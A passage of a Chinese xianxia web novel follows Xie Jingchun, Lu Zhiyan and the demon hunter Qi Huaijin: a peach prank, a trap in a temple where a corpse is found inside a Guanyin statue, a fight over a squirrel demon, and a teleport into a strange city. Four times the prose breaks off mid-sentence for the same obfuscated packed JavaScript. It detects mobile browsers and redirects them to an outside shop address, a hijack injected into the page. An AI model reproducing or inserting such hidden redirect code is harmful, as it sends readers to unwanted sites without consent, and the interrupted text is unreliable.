她的肚子便开始闹腾,不住地咕咕叫。 路植晏有些不耐烦:“手酸了。” 谢惊春自然地接过,咬了一大口。 青桃果然脆,在她嘴中嘎嘣嘎嘣地响,路植晏嘴角撩起狡黠的弧度。 “嗯……不错,还挺甜的。”谢惊春面色未改,一边吃着一边赞许似的点头。 “吃就多吃点。”少年语气罕见的温柔,目不转睛地看着她,笑意晏晏。 谢惊春腮帮子塞得满满的,朝他竖了个大拇指:“你再给我拿一个吧,谢谢,刚好肚子饿。” 路植晏微讶,一声不吭地又拿来两个大桃子。 “我的天,真的好好吃啊,我还以为青桃都是酸的呢,没想到这里的青桃这么甜!” “甜?”他的脸上逐渐爬上狐疑。 “对啊。”谢惊春一脸纯真无害,见路植晏直勾勾地看着自己,反应过来,将手中桃子递到他面前,“哦对了,你是不是也饿了?你也吃一个吧。” 路植晏下意识地躲避:“我不吃。” “不吃算了。” 可是看她吃的着实香,看不出任何表演痕迹。 难道真的不酸? 在好奇心的驱使下,路植晏缓缓抬起手,指着她嘴边的桃子,“我要吃这个。” “可我吃过了,你吃别的不行吗?” 路植晏笑着摇摇头,他就是想知道她吃的到底的是甜是酸,万一真让她走了狗屎运,刚好吃了个甜的,那他还要以身试险,再跳一次酸河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329087|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,岂不是亏大了。 谢惊春无奈,用力一掰,将桃子掰成两半。 没想到自己现在力气这么大,果然每日的训练起到了很大的作用。 “呐,给你。” 谢惊春说完,便低头看自己掌心的细茧:“我的手以后会不会跟你的手一样……” “谢、惊、春!” 酸意在敏感的味蕾绽放,游走于齿缝之间,几乎要将舌头都腐蚀掉。 路植晏腾地站起身,将桃子重重掷到惊春手中,俊俏的脸儿扭曲。 他眼底满是汹涌的怒意,眼神如排针一样扎在少女身上。 “怎么了?”惊春胡乱接一通差点没接住桃子,她一脸惊恐地看着面前人,险些跌回床上。 “女孩子稍微在意一下自己的手,有什么错吗?你吓死我了。” 路植晏冷哼:“演,继续演。 她满脸无辜,还带着被误解后的怒意:“我演什么了?你又救了我我很感激,但是别太莫名其妙。” 路植晏下睑拱起:“我还有点佩服你,居然能面无表情地把这么酸的东西吃下去。” 谢惊春微微攒眉,疑惑道:“酸?” 接着,她恍然大悟:“哦~~~你以为我在骗你,可我真的一点都不觉得酸,要不你再吃一口?” 路植晏:“还装。” 说罢,他便果断转身离开,不想再与她多说一句话。 谢惊春连忙穿上鞋子:“哎等等,你误会我了!” “一千个人心中有一千个哈姆雷特,可能你怕酸,而我吃惯了酸。你不能因为我能吃酸,就不分青红皂白地觉得我在骗你,这对我不公平。” 路植晏迟疑了一瞬,被她拽住胳膊。 谢惊春抓住机会:“又或许是你一口吃太小了细细品味,而我囫囵吞枣吃得快?要不你试试吃大口的,来验证一下我是否说谎?” 方才的气还没有完全消去,他别过头,沉声:“不吃。” “哈哈哈哈哈哈哈哈哈——”少女的笑声终于控制不住,如同大朵的花儿蓦地绽放,又如几个小圆铃铛抛在空中,琅琅当当的飞向路植晏耳畔。 少年的眼睛一瞪,霎时知道自己遭骗了。想起刚才他的屡次纠结和怀疑,他才明白自己相当于被她骗了很多次! 她笑得前仰后合,摸着肚子蹲了下去:“不行哈哈哈哈……演不下去了。” 从来没人拿他逗趣,此次却阴沟里翻船,反被谢惊春碾压。 带着羞闷和愠怒,背上的长吟开始发出不安的剑鸣。 “路植晏,你别太双标啊,是你要玩,我就陪你玩,而且你的目的达到了,我都牙都快酸掉了,我们扯平了。” 谢惊春松开手,连连后退,快速将屋内陈设扫视一圈,找到自己的配剑。 她火速拿过金樽,上面的彩缨如烟花绽放:“玩不起你这是。” 对峙良久,“噌”的一声,长吟引起的骚动消遁,路植晏头也不回地离开。 “哼,算计我。” 路植晏走后没多久,松鼠试着探出脑袋:“那个什么齐怀金走了吧,春春,你怎么样啊……可担心死我了。” “放心吧,我没事。”谢惊春一边说着一边赶紧将它往会塞,“路植晏说过,你能引起符阵微动,而当初布符也有齐怀金的份,符动了,他会有所知,所以还是小心点吧,再忍忍哈,等到十五就带你去灵安寺透气。” “惊春,你在跟谁说话呢?” 宋如遇端着汤药走了进来,却没看见人影,只看到一颗松鼠头,还是一颗会说话的松鼠头,她惊得碗都差点掉了:“会说话的松鼠头!” “嘘嘘嘘——”谢惊春捂住她的嘴巴,“如遇,小声点。” 好歹也是见过妖的人了,谢惊春只和宋如遇解释了一小会,她脸上的惊讶渐渐消了下去。 “这样啊,那可得藏好,齐怀金天天将‘所有的妖都该死’这样的话挂在嘴上,要是教他发现这小黄毛的存在,还得了?” “就是就是。”谢惊春狠狠点头。 “路植晏怎么走了?”宋如遇一脸好奇,“吵架了?” “没有,闹着玩的,我知道他,不至于为点小事生气,肯定是本来就打算干什么去,才走的。” 谢惊春转头视线落于碗中,单看着那黑黢黢的汤药,舌根就已经蔓延出苦味来了。 但想到宋如遇那么关心自己,忙活那么久才弄来汤药,便也不好拒绝,捏着鼻尖,忍着胃中翻滚,一股脑将药喝了下去。 “谢谢,啊……好苦。” 谢惊春猛灌了口水,逮一口酸桃,才将将把苦味压下去。 月色愈浓,水中玉镜倒映在九天之上,繁星布满了夜空的每一个角落,几只萤火虫乱入池边草丛,仿若星子陨落人间。 “这是什么?” 宋如遇百无聊奈地将头靠在惊春肩上,却发现她一直在看一本破烂不堪的书,黄得像是刚从粪坑里捞出来。 “应当是我大伯的日记本,你闻闻。” 谢惊春开玩笑似的将手札送到宋如遇面前。 宋如遇试探着嗅了嗅,立刻捏着鼻子哕了一声:“这啥味啊?” “压箱底太久了,霉味,也有可能有老鼠味。”谢惊春皱皱鼻子,不经意地翻到画着问心石洞的那一页,“问心石洞?什么鬼东西啊……” 宋如遇一边吃桃一边抱着惊春的胳膊:“哪呢?这上面不是就写了个岁岁平安吗?” “你仔细看,这被划掉了。” 宋如遇眯着眼睛仔细辨认:“好像真是哎,所以,问心石洞到底是个啥?你大伯瞎写的吧。” 谢惊春没做声,小心翼翼地分页,但还是有几页撕毁了。 “哈,你大伯怎么那么喜欢画乌龟啊?” “是啊,他怎么那么喜欢画乌龟?”谢惊春继续往下翻,“看看看看,终于来字了。” 不是空白就是画画的手札中,终于出现满页的字,密密麻麻,有些墨迹都已经被晕染开了。 “人食人,是故喰妖双生,一方死,一方生,生生不息,记忆更迭,永夜难除。” 谢惊春和宋如遇面面相觑。 宋如遇:“嗯?” 喰妖双生。 谢惊春登时跳起:“三天,三天……如遇,明日,明日你就用金手指验齐怀金,一定要验他。” 42. 松鼠与金陵(二十二) 刚被谢惊春戏耍完,路植晏出了门,便碰到齐怀金。 “路小兄弟,这几日搜寻夫人尸体虽无结果,却得到另一个重要线索。” 路植晏兀自向前走,为少走些弯路,直接单手翻过走廊栏杆,身姿如燕。 “什么线索?” 齐怀金也不恼,跟了上来:“灵安寺,死人了。” “什么?”路植晏退了几步,直直地看着他。 “嘘——事情未定,先谨慎些,莫要再引起恐慌。明日十五人多恐耽误办案,现在要不要一起去看看?让谢姑娘和无悲暂且休息休息。” 路植晏露出一抹意味不明的笑:“好啊。” 灵安寺离刺史府很近,拐过一个路口,走过长弄,便豁然开朗,灵安寺的大门突显在前。 戌时,寺庙已经关门,双层烧香宝鼎里的香烧尽,偶见红光茵茵,浓烈的檀香味扑鼻而来。 齐怀金敲了敲门,没一会儿就有个小沙弥跑过来。 他拿出腰牌:“捉妖司齐怀金,奉命查案。” 小沙弥挠挠头:“佛门净地,怎会有妖?佛光普照,它断断进不来。” “今日有人报官,说是无意发现一具尸体,捉妖司怀疑与妖杀人有关,特来查望。” 小沙弥茫然地点头:“那请二位施主稍等,我去请住持。” 庙内主持是个瘦高的老者,身披袈裟,精神矍铄,四方步走起来稳重带风。 “二位施主请进,官府办案,自当配合,只是观音殿尚在修缮,还请勿进,多有不便,还请见谅。” “无妨。” 正大殿中,三尊佛像端庄威严。 齐怀金按剑侧立,仰头而望,没有丝毫的谦卑之意。 他指着中间的释迦牟尼佛,趾高气昂地念道:“南无阿弥……。” 路植晏环视一圈后打断他:“报官之人有说在哪里发现尸体?” “听说疯疯癫癫地跑过来,留下一句「死了死人了,灵安寺死人了!」,便吓昏了过去,到现在还没醒。” 三尊佛像后还有彩色浮雕,美轮美奂,栩栩如生,每一片云朵都力求精益求精。 二人在正大殿寻了一会儿,却毫无收获。 齐怀金提议:“要查就要彻查,不如去观音殿看看。” 路植晏:“正有此意。” 玉面观音佛像后顶起三根梁木,佛身微微前倾,仿若俯瞰众生,端庄慈祥,仙姿飘逸,只是裙摆丝带处裂开缝隙。 饶是在修缮期,殿中也点了很多黄蜡,将观音玉面照得玲珑剔透,净亮如镜的地板上倒映出圆圆的光晕,像是河中漂流的盏盏福灯。 殿中左侧放有一个几人高的洪钟,齐怀金摸了摸,甚是奇怪地说道:“这观音殿也没问题啊?” 路植晏:“测一测便知。” “你要测气机?佛门千百年,有自己的蕴运,你若强测怕是会反噬。” “测而已,又不是改。” 说罢,路植晏心念微动,光芒乍现。 一旁的齐怀金没再阻止,静静看着。 片刻后,路植晏说道:“没有问题。齐大人真的确定那人说的是真话?” 他抬眉,眸光骤然阴沉:“还是说,你只是想,引我来此?” “小兄弟,什么叫我引你来此?那人我认识,就是巷口卖东西的李六子,没理由撒谎。况且,他人现在还在捉妖司躺着呢。” 路植晏看着他:“快点使出来吧,不然我可就要走了。” 齐怀金脸色骤变,疾言倨色:“路小兄弟,话可不能乱说!” 昏黄烛光摇曳,两人目色幽深,中间隔着一排蜡烛,气氛古怪起来了。 齐怀金站在钟前,忽地一笑:“乱说,乱说可是会成真的。” 随着一声沉闷的钟声,所有殿门一一关闭,周围火苗乍然窜高,像是张牙舞爪的巨人。观音身后顶木断裂,佛身和莲花底座严丝合缝,裂痕快速蔓延至手中玉瓶。 灰尘从顶部洒落,一时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341202|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地动山摇。 路植晏泰然自若,指着那些蜡烛:“你用这个阵,杀我?” “不,困你而已。一炷香,足矣。” 齐怀金说完,便快速离开没了身影。 路植晏回头看了看观音佛像,当真是心若琉璃,悲天悯人。 破之不敬,破之可惜。 “得罪。” 下一秒,他眉目一凛:“破!” 劲风飞掣,殿门乍开,蜡炬倾倒,蜡如泪滴。 裂痕再度延伸,如快速向上生长的藤蔓,玉碎之声愈来愈大,深如沟壑的冰裂攀爬至顶的那一刻,仿佛一切都停止了。 倏而,“嘣”一声脆响,佛像彻底崩坏,零零碎碎的片石扑簌簌往下落。 在破败凌乱之中,观音依旧保持微笑。 但顷刻之间,她的微笑便被彻底分开,微笑散落在空中,一团白色的东西混在碎片里,随之掉落。 就在路植晏转身之际,最后一根蜡烛坠地,帷幔被点燃。 长吟飞旋,将染上火苗的黄色帷帘切断,火势被扼杀。 殿外传来慌乱的脚步声,几个和尚急促地说道:“发生什么事了,观音殿怎么有钟声?” 和尚们冲进来时,已是一片黑暗。 大殿中央,路植晏直立不倚,身前的玉石堆中,立着一柄长剑,黑暗中渐渐发出滋滋滋的响声,雷光闪烁。 “啊!观音像被毁了!” 众人涌呼上前:“住持好心方便你们查案,也警告过观音殿不可进,没想到你居然毁了观音佛身,是为大不敬!” 可是下一秒,他们便呆呆地站在那儿,一个个眼睛瞪得老大,一动不动。 一地的废墟中露出一张灰白的脸,双目圆睁,似有不甘。 路植晏挥剑将灰尘甩去,随后蹲下身,略去浮片。 那一刻,瞳孔微缩。 小佛室中,挂像上的脸,在记忆里浮现,渐渐与面前这张脸重叠。 刺史夫人。 43. 松鼠与金陵(二十三) 谢惊春一路小跑,想要快点将这个手札给路植晏看。 她的裙角刚刚扫过零落的凌霄花,一个喉咙处刻有血红「恭迎」二字的人便悄然出现。 他一身宽大道袍,腰后别着一把红伞。披头散发,唯耳边两截头发用白绳系起,垂在狰狞的兽人面具两侧,有着诡谲的儒雅温润。 若是近身仔细看来,定能发现面具后的他,一眼无瞳,一眼双瞳且异色。 “仙长禁制,可有毁坏?”另有一人奴颜婢膝地站在道人身侧。 道人轻轻抚过槐树,声音清雅悠扬:“还记得「承封天命,天降唯仁」?” 身旁人躬身曲背,低声下气地回道:“小人自是谨记,天降唯仁者,遇刀剑不死,遇水火不惧,双目不视,可破万禁,容颜永驻,千岁而亡,杀之必败,天火燎身,永不轮回。” 道人冷笑一声:“可破万禁……你知道得挺多啊。” “小人也只是对一些秘史感兴趣,偶尔翻看而已。” “那,你觉得我是吗?”他陡然凑近,妖异的瞳孔里迸发出骇人的目光。 旁人打了个寒战,脸上一阵青白。 对视几秒后,道人突然笑了起来,笑弯了腰。 那飘渺的笑声犹如从地狱传来,让人不禁脊柱发凉。 笑够了,他叹了一口气,斜眼睨过:“我就喜欢你这样的人,够疯。” 身边人直起身,嘴角勾起充满寒意的弧度:“我若不疯,怎求长生?” 道人默了一会儿,凛然道:“她把禁制破了。” 身边人瞠目结舌:“她连仙长的幻花香都抵不住,怎能一举破掉仙宫禁制?!” “破了便破了,我会再开一个,她强行用阴阳阵搅乱我的禁制,已经受了反噬。” “阴阳阵如此厉害?” “非也。破我禁制的是,她的血?” 他说出这话时,连自己都有些怀疑。 鬓发轻扬,面具下的目色如冬日山顶飘雪,看不清会落在哪里,但那彻骨的寒冷还是忍不住打个哆嗦。 “好好好,说起他们,我有两事禀明仙长。一来他们是三正法司的人,二来张正之死……” “这你不用管,只好好等着时候到了便是。” “是。” 这个时节,槐花都快落尽了。 “三正法司?”道人撑开红伞,伞下悬挂着一圈白色布条,几朵残败的泛黄树叶抚过,他喃喃道:“有趣。” * 谢惊春快步走着,一个可怕的想法在她脑海中盘旋,她要立刻和路植晏说。 “谢姑娘?你怎么在这?你已经好了吗?” 赵无悲站在廊下,肩挎降龙弓:“我白日里去看你,你还没醒,你现在感觉怎么样?” 谢惊春步伐一顿,浅浅一笑:“我觉得好多了,谢谢关心。” “无悲。”沉重的夜色在齐怀金身上褪去几分,他已从灵安寺赶回来,面色如常。 他拍了拍赵无悲的背,目光粘在谢惊春身后的剑上:“谢姑娘,你这剑……自己系的?” 谢惊春拽了拽彩缨,心跳逐渐快了起来,勉强扯出一抹笑:“我就觉得好看,系着好玩的。” 赵无悲:“师父,鱼妖已死,我们接下来该如何?” 齐怀金没有回答他,又开始盯着谢惊春的包,仰仰头:“这里有禁咒?” 谢惊春脸上一僵,故作自然地说道:“家传法器,我爹千叮咛万嘱咐说不让弄丢了,所以施了咒。” 赵无悲大约猜到她里面装的是何物,便试图转移师父的注意力:“师父,你怎么不理我,鱼妖已死,我们接下来……” “鱼妖死了,还有妖啊,这里不就是吗?!” 一语毕,一道剑影凌烁决绝,裹着逼人的肃杀之气,直直斩破禁咒金膜,连包都被斜斩出几处豁口。 小松鼠嘶叫一声,灰色的身影即刻跳出,周围符光一个接一个如多骨米诺牌般骤然闪现,整个长廊恍若白昼。 小松鼠刚变成小孩儿的模样,便被金光击中,一下被打回原形,胸前的白毛炸得焦黑。 瘦弱的身体于高空坠落,它发出哀嚎,小小的一只缩成一团,眼角噙满了泪。 齐怀金的动作太过突然,谢惊春的袖口都被剑风扫破,手腕划出一道血痕。 她倒吸口气,快速单手撑过栏杆,腰身一横,人如星光飞了出去,稳稳地接住松鼠。 只是胸口猛地被砸,不由发出一声闷哼。 “小松鼠,你怎么样?!” 它漆黑的双眸紧闭,浑身颤栗不停,无声地诉说着生命告急。 话音刚落,刺眼光芒再度显现。 谢惊春心中一阵慌乱,紧紧地抱住松鼠,拼命地往外跑。 赵无悲在一旁喊:“师父,它没杀人,还是个小妖。” “人妖殊途!除恶务尽!你忘了你姐怎么死的了?!!” 齐怀金的怒吼如狂风暴雨般落在赵无悲的脸上,赵无悲一时语塞,像是想起什么可怕的事情,脸上露出前所未有的悲伤。 “哼!你姐和你的外甥是如何死的?你全然忘了?!她在天之灵知道你对一个妖怪起怜悯之心,定会伤心欲绝!” 齐怀金的每一句话都像是把生锈的刀,深深而慢慢地刺入赵无悲心中。 他松开师父的手,站在那里,脸上泛着颓然的死气。 只是说完那句话,齐怀金双脚似是遽然被灌了铅泥,眉间锁起深深的沟壑,他扶着额头,应是头疼的毛病又犯了。 这番异样,叫谢惊春得了个逃窜的空挡。 可不出数息,齐怀金甩了甩头,眼中恢复了凶戾,再度朝着朱门追去,他虽身形魁梧,却足够灵活,一个飞身,直接落在惊春面前,挡住她的去路。 “捉妖师却护着一只妖,是不是有些可笑,亏你们还是三正的人,别污了捉妖师的名声!” 彪形大汉举剑,红缨如血。 谢惊春还没得及出手,一道道符光凌迟而来,如雷电般狠厉地劈向她的后背。 金樽被劈后依旧光洁如新,云花纹路明亮清晰,在月光下闪着莹莹的光。可她的身体就没那么坚硬,谢惊春差点吐出一口老血。 前有狼后有虎,谢惊春忍着剧痛迅速后撤,快速拔出金樽。 “前辈!它没杀过人!” “妖就是妖,该死!” 齐怀金的语气间是满满的恨意,一招一式皆欲致命,谢惊春根本招架不住,每挡一式,她整个人就要被重力逼得连连后退,眼看要成为手下败将。 倏地,一道莫名的绿光从包中闪出,直接打向齐怀金,不仅让他的动作有了破绽,还差点让他的剑被弹出手心。 谢惊春不知发生了什么,却也立刻不管三七二十一,抱着小松鼠莽头就冲。 出了刺史府,她又拐入南街。 她只知道跑,肺里燃烧了一整片旷野的火,吸入大口空气却只来得及吐出半口,风从鼻腔灌入,撕裂般的酸痛传至眼里,脑袋渐渐发闷,一股麻意伴随着剧烈的运动冲上太阳穴。 这段时间大家都不太敢晚上出门,街上人群稀少,只有稀稀拉拉的几家店铺的灯笼还亮着。 又是一道狠厉的剑光,从谢惊春的脖颈边擦过,接着折返而回,迎面就要劈下。 “金樽!” 她闭眼高喊一声,金樽再度应声出鞘,和齐剑猛然相撞后,被甩到半空中,划过冷艳的弧线,一如流星踏银雪。 她很清楚自己绝对打不过红缨大佬,但是现下情况她跑也跑不远了,很可能会直接死在跑的过程中。 谢惊春横接剑柄,勉强灵活地躲过雨点般的攻击,齐怀金持剑陡然发力,一个箭步冲到她面前,强大的威压和气势几乎将金樽抵至她的喉口。 “为虎作伥,不入黄泉!” 两只手握住剑柄,使出全力也极难挡不住齐怀金的力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361241|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谢惊春伸出右手,在金樽几乎招架不住之时,猛得推上剑锋。 “不分青白,蛮不讲理!” 说完,眼中倒映寒光,谢惊春咬咬牙,用力一转,双剑呈十字架的形状,剑锋摩擦,快要迸溅出火星子,眼中寒光一闪而过。 身上每一个毛孔都在使劲,右手鲜血横流。 就在手中剑抬至顶时,她于迅雷之间抽出右手,血掌带风打在齐怀金的胸口,自己则撤步旋身,一脚踢起金樽,裙摆刚起,她便眼疾手快地接住剑。 齐怀金捂住胸口脚尖微动,突然笑了:“是你?” 他无神的眼中冒出狭长的暗光,又重复了一遍:“原来是你?” 谢惊春并不觉得他的笑是什么好预兆,手悄然在包中摸索一阵,想要摸出法器遁身环。 遁身环风险很大,万一给传到万里之外危险之地,想要再回来就是天方夜谭。 但是置之死地而后生,危机时刻,不妨搏一搏。 齐怀金动作太大,腰牌不慎掉落,他并未察觉,而是带着浓烈的怒气,不依不舍地追来。 怒气中还带着矛盾的兴奋,他的嘴角从刚才就没下来过,嘴里还时不时发出莫名癫语:“我记得你,妙成女君!” 齐怀金扭动脖子,发出“嘎吱嘎吱”的响声,蓄力后如一枚炮弹冲射过来。 “妙成女君?”谢惊春已经跑了快半个时辰,浑身都被汗水浇透了,像是刚从河里爬上来,她也来不及思考齐怀金为何会提起妙成女君,更来不及思考,为何他会觉得自己是妙成女君。 她现在就是一辆空档滑行的车子,全凭那坚定的意志力续航。 丝丝缕缕的力气如即将熄灭的火堆,偶尔生出若有若无的烟,轻飘飘地游走于四肢。 “前辈,你先停下听我说几句如何?!” “不过是些自以为是的歪理!”空气如黑纱帐笼罩,被齐怀金的佩剑刺出形状来。 因为脱力,谢惊春握着金樽的手微微颤抖,她深吸口气,紧急刹住,转身抵挡。 不知道为什么,金樽似乎变轻了,她根本没使出多大的力气,剑光便一瞬而去。 又像是金樽自己去的一样。 齐怀金不屑一笑:“负隅顽抗。” 锵! 两剑发出弦断之声,齐怀金手心陡然收紧,金樽如巨石压下,磅礴之力让他后退了几步,掌心发麻。 粗密如枯草的络腮胡子抖动,他仰头看向卷土再来的银剑,心中微微惊诧。 “缚妖阵,可对付不了人。还是说,你觉得我是妖?” 齐怀金立刻心一横,一跺脚带起灰尘,一边冷笑一边抬手虚握:“瓮中鳖。” 谢惊春觉得自己被忽地攫住,拉入某种领域,仅存的几分力气也在快速流逝。 齐怀金一步一步地走过来:“别白费力气了,小姑娘,小心化成灰,那就没机会死在我的剑下了。” “你……你做了什么?” “以你的道行,我的阵法,你破不了。”齐怀金捡起一粒石子扔了出去,坚硬的石头在惊春面前瞬间被炸成灰,粉尘洒落,上面还冒着黑烟。 谢惊春失去身体掌控权,被强行拖了回来。 齐怀金一边慢慢走来,一边低语:“杀之必败,天火燎身吗?呵呵,那我偏要试一试。” 完蛋了完蛋了! 不管了不管了,还是保住当下的命重要!幸运之神眷顾我吧! 谢惊春本还犹豫着,此刻却顾不了那么多,直接掏出遁身环,不假思索地拉开双环。 …… 嗯? 怎么没用?! 她慢慢地回过头去,灰头土脸的脸上满是汗水。 而齐怀金的剑骤然逼近,近在咫尺,她甚至已经在剑面上,看到了自己可悲的死相。 “啊啊啊啊啊啊——金樽金樽救我!” 下一刻,连人带剑束成一道红光,原地消失。 44. 登仙大道(一) “救救救救救——救救……救,救命啊……” 谢惊春的尖叫声越来越小,最后消失在巨大的人群中。 下一刻,看着面前的壮观景象,她瞪大眼珠,满脑子都是——哎呀你大爷啊,你给我干哪儿来了,这还是国内吗?啊? 冗长宽阔的街道,夜如泼墨,顶上挂满了各色各样的灯笼,羊角灯,圆纱灯,琉璃花灯,蟠螭灯,灯头攒动,盏盏分明,丽光如锦绣铺泻。 中间马车来来往往,那些马匹跑得飞快,横冲直撞。骈夫鞭挞喊马,各轿銮铃清脆急促,马蹄哒哒,重重踏在青石砖上,伴随着吆喝声,让人以为自己跌入了什么熙熙攘攘的繁华灯会。 谢惊春蒙头转向地吸了吸鼻子,拖着灌铅的腿赶紧靠边让让。 马车专用道的两边站满了人,她刚站过去,就被人踩了脚后跟,鞋差点飞出去。 “姐姐,对不起对不起!” 是个十二三岁的少女,怯生生的,脸上和脖上都有紫痕。 看起来瘦骨嶙峋的她,身前还扶着一个六七岁的小男孩。 他们皮肤很白,和没来当阳之前的惊春差不多,甚至有过之而无不及。 他们穿的似乎是大人的衣服,极为不合身,上面缝缝补补,还沾染了不少的泥土。 小男孩始终低头紧张地咬指甲,小少女倒是敢看着惊春,但黑葡萄般的眼睛中明显充满了忐忑和害怕。 谢惊春揩了把汗,慌的把凝着鲜血的右手藏在包后,疲惫的脸上扯出一抹明媚的笑容:“没关系。” 女孩嘴角翘起,也露出憨笑,不小心扯到嘴角的伤口,她连忙捂起嘴。 谢惊春问:“刚才我就想问了,你这伤是怎么回事?” “这里有的路滑,有时候会摔到。” 谢惊春隐隐觉得不对劲,方才挤在人群中,她就觉得身侧有数道男人的目光聚集在自己身上,十分不自在,更别提待在这里时间更长的女孩。 一种让人窒息却又不是没可能的想法在脑海中盘旋,她凑近女孩耳边问道:“你们尚小,这里鱼龙混杂,会有人……” 谢惊春欲言又止,又怕是自己多想,搜肠刮肚换了种委婉的问法:“会有人欺负你们吗?” “我知道姐姐是什么意思,但姐姐放心,没有的,我身上的伤痕真的只是不小心摔的而已。” 看女孩纯真的笑容,谢惊春半松了口气,但无论如何,她必须离开赶紧离开这里。 “妹妹,你知道哪里卖水喝吗?” “姐姐,这里水很贵的。” 贵?谢惊春不明白,这个世界连不能生喝的自来水都没有,顶天将井水烧开,感觉还稍微干净些,还能怎么个贵法? “有多贵?” “一两银子一碗。” 靠! 真贵! 更重要的是,她的钱放在刺史府的房间忘记拿了,手里刚好只有路植晏还她的一两银子。 一次性花完了,给松鼠看兽医的钱都没有。 虽然她不知道这里有没有兽医。 谢惊春以购买经验换算了一下,相当于快一百RMB一碗水,疯了吧! 大5升的纯净水卖10块,她还嫌贵呢。 所以遁身环君到底给她干哪儿来了? 不会真出国了吧? 谢惊春突然想起自己还有个系统,带着充足的希冀:“哎系统,我和路植晏现在距离多少?帮我开个导航。” “系统?” 没有回应。 谢惊春呆住,愣了半天才反应过来,她慌忙问向旁边的女孩:“妹妹,你知道今天是什么时日吗?” 女孩摇了摇头,指着远处黑洞洞的巷口:“姐姐,我也不太清楚,你可以去问问他们。” 顺着她的手指看过去,各个阴暗的巷口里,赖坐着三三两两的乞丐流浪汉,他们有的衣不蔽体,腿脚残疾,生无可恋地躺在那儿。 有的穿着完整的粗布,好胳膊好腿却跪在地上请求怜悯,面前的碗中或是最低值的钱币,或是黑色圆丸。 谢惊春清了清嗓子,鼓起勇气来到其中一人身边:“你好,请问……” “起开,别打扰我睡觉!”乞丐男子拒绝回答问题,并翻了个身。 一次的外向换来终生的内向,这些人的态度显然并不友好,谢惊春也没敢再继续问。 其实她心中差不多已经猜到今天是月中解绑日了。 谢惊春问女孩:“为什么这里的水这么贵啊?” “因为干净的水很少,像我和弟弟都只能喝天赐河的水。” “天赐河?天赐河在什么地方?” “姐姐,我们带你去吧。” “好,谢谢你们啦~” 她们逆着人流,人群中时不时发出厌烦的啧声。 “不好意思,麻烦让一下,谢谢。” 还好没走多久,女孩就拉着惊春拐进人烟稀少的小巷。 小巷逼仄,许多大大小小的水洼,越往里走越看不清路,黑咕隆咚的,伸手难见五指。 谢惊春扶着墙壁走,手心黏腻,尽是未知的湿气,触感软软的,像是摸到了什么不明物体,像蜗牛又像水蛭。 她打了个哆嗦,鸡皮疙瘩起了满臂,只敢用指尖扶着。 “姐姐小心点,这里容易长青苔。” 谢惊春觉得人在视线受阻的情况下,连听觉都下降了,她没听清:“小妹妹,你说什……” 海公牛! 谢惊春在跌倒在地的前一秒,紧急将破包举高高,还好小松鼠没有受到二次伤害。 “姐姐,你没事吧?!”姐弟俩听到啪的一声,赶紧一颠一颠地跑过来。 “呃啊……没事没事。”谢惊春用自己的一块腹肌生生撑着上半身,才没让后脑勺着地。 可是屁股好疼,腰也被硌到了…… 她嘴上说着没事,心中却无声哀嚎,泪水往肚子里咽。 两个孩子忙将谢惊春搀起身。 谢惊春拍了拍湿哒哒的裙子,从屁股和背上抓出大把青苔:“谢谢你们,姐姐这么大人走路还不小心,哈哈……” 企图用笑来掩饰尴尬。 “姐姐不着急,马上就到了。” 只是女孩口中的马上和谢惊春理解的马上,好像不是一个东西。 她们左拐右拐,又走了很长时间,谢惊春暗暗记下每一个从长街透出光亮的出口,和拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369641|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯的方向数量。 察觉到他们好像有点紧张,只敢用指尖勾着她的左手,谢惊春便想缓解一下他们紧绷心绪:“你们叫什么名字呀?” 提到名字,女孩好像很开心,攥着惊春的手都放松下来,声音都变得轻快了:“我叫阿春,他叫阿夏。” “这么巧,我名字也有春,我叫谢惊春。” 阿春惊讶得啊了出来,弟弟阿夏胆子小,但也不由得低低的感叹一声。 “那……那我们叫你惊春姐姐。” “好啊!那我叫你阿春妹妹,阿夏弟弟。” 阿春抓着谢惊春蹦了起来:“好!” “惊春姐姐,我们再左拐一次就到了。”女孩绕到惊春的右边,拉起她的手。 “嘶……” 